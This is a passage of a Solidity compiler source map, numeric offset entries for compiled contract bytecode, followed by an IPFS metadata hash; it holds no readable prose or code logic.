;5119:59;;;;5192:1;5187:130;;;;5099:218;;5119:59;5149:1;5140:10;;5163:5;;;5187:130;5224:3;5214:8;5211:17;5208:43;;;5231:18;;:::i;:::-;-1:-1:-1;;5287:1:1;5273:16;;5302:5;;5099:218;;5401:2;5391:8;5388:16;5382:3;5376:4;5373:13;5369:36;5363:2;5353:8;5350:16;5345:2;5339:4;5336:12;5332:35;5329:77;5326:159;;;-1:-1:-1;5438:19:1;;;5470:5;;5326:159;5517:34;5542:8;5536:4;5517:34;:::i;:::-;5587:6;5583:1;5579:6;5575:19;5566:7;5563:32;5560:58;;;5598:18;;:::i;:::-;5636:20;;4856:806;-1:-1:-1;;;4856:806:1:o;5667:140::-;5725:5;5754:47;5795:4;5785:8;5781:19;5775:4;5754:47;:::i;5812:168::-;5885:9;;;5916;;5933:15;;;5927:22;;5913:37;5903:71;;5954:18;;:::i;5985:127::-;6046:10;6041:3;6037:20;6034:1;6027:31;6077:4;6074:1;6067:15;6101:4;6098:1;6091:15;6117:980;6379:4;6427:3;6416:9;6412:19;6458:6;6447:9;6440:25;6484:2;6522:6;6517:2;6506:9;6502:18;6495:34;6565:3;6560:2;6549:9;6545:18;6538:31;6589:6;6624;6618:13;6655:6;6647;6640:22;6693:3;6682:9;6678:19;6671:26;;6732:2;6724:6;6720:15;6706:29;;6753:1;6763:195;6777:6;6774:1;6771:13;6763:195;;;6842:13;;-1:-1:-1;;;;;6838:39:1;6826:52;;6933:15;;;;6898:12;;;;6874:1;6792:9;6763:195;;;-1:-1:-1;;;;;;;7014:32:1;;;;7009:2;6994:18;;6987:60;-1:-1:-1;;;7078:3:1;7063:19;7056:35;6975:3;6117:980;-1:-1:-1;;;6117:980:1:o;7102:356::-;7304:2;7286:21;;;7323:18;;;7316:30;7382:34;7377:2;7362:18;;7355:62;7449:2;7434:18;;7102:356::o;7815:251::-;7885:6;7938:2;7926:9;7917:7;7913:23;7909:32;7906:52;;;7954:1;7951;7944:12;7906:52;7986:9;7980:16;8005:31;8030:5;8005:31;:::i;8992:306::-;9080:6;9088;9096;9149:2;9137:9;9128:7;9124:23;9120:32;9117:52;;;9165:1;9162;9155:12;9117:52;9194:9;9188:16;9178:26;;9244:2;9233:9;9229:18;9223:25;9213:35;;9288:2;9277:9;9273:18;9267:25;9257:35;;8992:306;;;;;:::o;9582:277::-;9649:6;9702:2;9690:9;9681:7;9677:23;9673:32;9670:52;;;9718:1;9715;9708:12;9670:52;9750:9;9744:16;9803:5;9796:13;9789:21;9782:5;9779:32;9769:60;;9825:1;9822;9815:12;12246:125;12311:9;;;12332:10;;;12329:36;;;12345:18;;:::i;12731:135::-;12770:3;12791:17;;;12788:43;;12811:18;;:::i;:::-;-1:-1:-1;12858:1:1;12847:13;;12731:135::o;12871:128::-;12938:9;;;12959:11;;;12956:37;;;12973:18;;:::i;13004:217::-;13044:1;13070;13060:132;;13114:10;13109:3;13105:20;13102:1;13095:31;13149:4;13146:1;13139:15;13177:4;13174:1;13167:15;13060:132;-1:-1:-1;13206:9:1;;13004:217::o

ipfs://ec6706a494790f2f5274797051a331b518ebd5d74c62b1dfa405530a508d17b6